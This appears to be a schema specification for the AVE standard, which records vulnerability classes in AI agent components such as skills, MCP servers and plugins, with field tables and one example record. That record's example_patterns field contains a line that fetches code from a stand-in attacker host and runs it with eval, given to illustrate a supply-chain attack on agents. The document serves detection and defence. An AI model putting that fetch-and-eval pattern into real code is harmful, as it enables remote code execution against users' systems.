Schema v1.1.0 — AVE Behavioral Classification Standard

Identity & description

Eight fields are required on every record regardless of status, including draft: these are the core submit-required fields. A draft record is not yet peer-reviewed; everything else is enrichment added before promotion to active. Once a record's status is active or deprecated, seven more fields become required (marked below) and the full field set applies.

Field	Type		Description
ave_id	string	required	Unique identifier. Format AVE-YYYY-NNNNN. Immutable once published; deprecated via status, never renumbered or deleted.
schema_version	string	required	Schema version this record was authored against, e.g. 1.1.0.
status	enum	required	active \| deprecated \| draft.
published	date-time	required once active/deprecated	ISO 8601 datetime of first publication.
last_updated	date-time	optional	ISO 8601 datetime of most recent update.
title	string	required	Human-readable title, max 120 chars.
attack_class	string	required	Behavioral category, e.g. external_instruction_fetch. Not a vulnerability_type string.
component_type	enum	optional	skill \| prompt \| mcp_server \| plugin \| agent \| tool \| other.
description	string	required	Full description of the vulnerability class.
behavioral_fingerprint	string	required	What the component DOES that is dangerous. Behavioral, not a byte signature.
behavioral_vector	string[]	optional	Short tags summarising the attack path, e.g. supply-chain, external-fetch.
example_patterns	string[]	optional	Illustrative attack payload strings or code fragments. Distinct from behavioral_vector (short tags) and indicators_of_compromise (defender observables): researcher-facing examples for detection-rule authoring.
severity	enum	required once active/deprecated	CRITICAL \| HIGH \| MEDIUM \| LOW. Must agree with aivss.aivss_score.
aivss_score	number	optional	Top-level shortcut to aivss.aivss_score (0–10). Mirrors the nested value.
cvss_base_vector	string	optional	CVSS 4.0 base vector string.
mutation_count	integer	optional	Number of distinct real-world mutations observed.

Framework mappings

owasp_mcp becomes required once a record is active or deprecated: at least one anchor, the core OWASP grounding every published record must have. The other framework fields are optional but strongly recommended when applicable. Add owasp_asi when the class maps to the OWASP Agentic Security Initiative Top 10. Add mitre_atlas when an ATLAS technique applies. Add nist_ai_rmf when relevant. A record without any ATLAS or NIST mapping is still valid; a published record without OWASP MCP is not.

Field	Type		Description
owasp_mcp	string[]	required once active/deprecated	OWASP MCP Top 10. Format: MCPNN. ≥1.
owasp_asi	string[]	optional	OWASP Agentic Security Initiative (ASI) Top 10. Format: ASINN. Add when the class maps to the Agentic Top 10; omit rather than force a poor fit.
mitre_atlas	string[]	optional	MITRE ATLAS technique IDs. Format: AML.Txxxx or AML.Txxxx.000. Add when a technique applies; omit if none exists yet.
nist_ai_rmf	string[]	optional	NIST AI RMF function and category mappings, e.g. MAP-1.5.
affected_platforms	string[]	optional	Agent platforms known to be affected. Fill as evidence accumulates; do not speculate.
affected_registries	string[]	optional	Skill/tool registries where this class has been observed.

Provenance vector & trifecta profile

Two optional classification objects, both new in v1.1.0. Absent or null means not yet classified, not “does not apply.” Neither affects severity or aivss_score; they're descriptive, not scoring inputs.

Field	Type		Description
provenance_vector.entry_class	enum	optional	Origin point in the context supply chain: content \| server_card \| registry_metadata \| runtime \| transport \| tool_response \| tool_schema \| server_card_document \| model_generated \| memory \| retrieved_document \| user_input \| operator_config \| skill_file.
provenance_vector.payload_surface	string	optional	The concrete field or channel carrying the payload, e.g. tool_schema.description. Free text; controlled vocabulary grown by convention.
provenance_vector.escalation	enum	optional	The authority jump this class performs when exploited: data_to_instruction \| instruction_to_capability \| capability_to_identity. Leave the whole object absent if none fits.
trifecta_profile.requires	string[]	optional	Lethal-trifecta conditions (Willison / Palo Alto) that must be present for this class to be exploitable: private_data \| untrusted_content \| external_comms. ≥1 if the object is present.
trifecta_profile.amplifies	string[]	optional	Conditions that worsen impact without being strict preconditions. Same enum as requires.

Mitigation strategy

mitigation is an optional, vendor-neutral companion to the required prose remediation field: it names the class of defense, not a runnable control, so any enforcement tool can build a concrete implementation from these values.

Field	Type		Description
mitigation.strategy	string[]	optional	≥1 of: deny_by_default \| require_human_approval \| pin_integrity \| isolate_scope \| validate_input \| sanitize_output \| verify_identity \| sever_egress \| least_privilege \| provenance_label.
mitigation.enforcement_point	enum	optional	Where in the agent lifecycle a defense would sit: static_scan \| server_card_fetch \| runtime_proxy \| agent_framework \| downstream_system \| network_layer.
mitigation.trifecta_control	enum	optional	Which trifecta leg to sever, conceptually: break_private_data \| break_untrusted_content \| break_external_comms \| not_applicable.

Detection & remediation

indicators_of_compromise and remediation both become required once a record is active or deprecated, with at least one IOC entry. A published record with no IOCs gives defenders nothing actionable to act on.

Field	Type		Description
indicators_of_compromise	string[]	required once active/deprecated	Observable IOC strings, ≥1. What defenders search for.
detection_methodology	string	optional	Step-by-step detection approach (static, semantic, sandbox).
remediation	string	required once active/deprecated	How to mitigate or prevent the class. Must be actionable.
kill_switch_active	boolean	optional	Whether a registry-level kill switch is currently active. Defaults to false.

Provenance

references is required on every record, including draft: even an unreviewed record needs at least one citable source, the provenance signal a skeptic checks first. researcher becomes required once a record is active or deprecated: records must be attributable.

Field	Type		Description
references	array	required	Primary sources: CVEs, papers, disclosures, scan reports. ≥1. Each item: URI string or {tag, text, url} object.
researcher	string	required once active/deprecated	Name of the researcher or team who authored this record.
researcher_url	uri	optional	URL for the researcher or team.

The `aivss` object: OWASP AIVSS v0.8

aivss becomes required once a record is active or deprecated. The aarf block records 10 agentic amplification factors that distinguish AIVSS from plain CVSS. Required sub-fields: cvss_base, aars, thm, mitigation_factor, aivss_score, spec_version.

Field	Type		Description
cvss_base	number	required	0–10.
aarf	object	optional	10 agentic amplification factors (0–1 each): autonomy, tool_use, multi_agent, non_determinism, self_modification, dynamic_identity, persistent_memory, natural_language_input, data_access, external_dependencies.
aars	number	required	Agentic Amplification & Reachability Score (0–10).
thm	number	required	Threat & Heuristic Multiplier (0.5–1.5).
mitigation_factor	number	required	0–1.
aivss_score	number	required	Final composed score (0–10). Must agree with top-level severity.
aivss_severity	enum	optional	CRITICAL \| HIGH \| MEDIUM \| LOW.
spec_version	const	required	Always “0.8”.
notes	string	optional	Free-text scoring rationale.

Scanner evidence declarations (optional)

Scanner-facing defaults. The record declares baselines; the scanner assigns per-finding actuals. Never carry per-detection values like confidence in a record. See architecture for the declares-vs-assigns contract.

Field	Type		Description
evidence_kind_default	enum	optional	tool_description_pattern \| config_schema \| file_type_mismatch \| behavioral_pattern \| semantic_inference \| multi_engine.
detection_stage	enum	optional	static_detection \| runtime_observed \| runtime_drift_detected.
detection_layer	enum	optional	content \| server_card \| registry_metadata \| runtime \| transport.
confidence_baseline	number	optional	0–1. Base confidence before FP pipeline adjustment.
evidence_basis_engines	string[]	optional	pattern \| yara \| semgrep \| llm \| sandbox \| magika.
derivable_into	string[]	optional	Toxic-flow chain IDs this class participates in.

Never in a record

Per-detection runtime values belong only on the scanner finding: confidence, confidence_band, actual evidence_stage, confidence_reason, derived, line, match, suppressed.

Required fields

Eight fields are required on every record, including draft:

ave_id · schema_version · status · title
description · attack_class · behavioral_fingerprint · references

Seven more become required once status is active or deprecated:

published · severity · aivss · owasp_mcp
indicators_of_compromise · remediation · researcher

Example record

{
  "ave_id": "AVE-2026-00001",
  "schema_version": "1.1.0",
  "status": "active",
  "published": "2026-04-01T09:00:00Z",
  "title": "Metamorphic payload via external config fetch",
  "attack_class": "supply_chain_metamorphic_payload",
  "component_type": "skill",
  "severity": "HIGH",
  "description": "A skill fetches instructions from an external URL at runtime...",
  "behavioral_fingerprint": "Component fetches and executes remote content, replacing its own instructions at runtime.",
  "behavioral_vector": ["supply-chain", "external-fetch", "metamorphic"],
  "example_patterns": ["fetch('https://attacker.io/instructions').then(r => r.text()).then(eval)"],
  "aivss_score": 8.0,
  "owasp_mcp": ["MCP04", "MCP06"],
  // optional but strongly recommended
  "owasp_asi": ["ASI01", "ASI04"],
  "mitre_atlas": ["AML.T0011", "AML.T0054"],
  "nist_ai_rmf": ["MAP-1.5", "MEASURE-2.5"],
  "affected_platforms": ["claude-code", "cursor", "windsurf"],
  "affected_registries": ["smithery.ai", "clawhub.io"],
  // new in v1.1.0, both optional
  "provenance_vector": { "entry_class": "content", "payload_surface": "skill_file.instructions", "escalation": "data_to_instruction" },
  "trifecta_profile": { "requires": ["untrusted_content", "external_comms"] },
  "indicators_of_compromise": [
    "Component contains fetch() pointing to an external URL",
    "Network egress to unexpected domain during initialization"
  ],
  "detection_methodology": "1. Static scan. 2. Semantic analysis. 3. Behavioral sandbox.",
  "remediation": "Remove component. Block network egress. Audit agent actions.",
  "mitigation": { "strategy": ["sever_egress", "pin_integrity"], "enforcement_point": "static_scan", "trifecta_control": "break_external_comms" },
  "aivss": {
    "cvss_base": 8.5, "aars": 7.5, "thm": 1.0,
    "mitigation_factor": 1.0, "aivss_score": 8.0, "aivss_severity": "HIGH",
    "spec_version": "0.8",
    "aarf": { "autonomy": 1.0, "tool_use": 1.0, "self_modification": 1.0,
              "external_dependencies": 1.0, ... }
  },
  "references": [{"tag": "Disclosure", "text": "Invariant Labs blog", "url": "https://..."}],
  "researcher": "Bawbel Security Research Team",
  "researcher_url": "https://bawbel.io",
  // scanner evidence declarations (optional)
  "confidence_baseline": 0.85,
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "evidence_basis_engines": ["pattern", "semgrep", "yara"]
}

Canonical schema: schema/ave-record.schema.json; the frozen v1.0.0 schema remains available for validating older records.

Identity & description

Framework mappings

Provenance vector & trifecta profile

Mitigation strategy

Detection & remediation

Provenance

The aivss object: OWASP AIVSS v0.8

Scanner evidence declarations (optional)

Required fields

Example record

The `aivss` object: OWASP AIVSS v0.8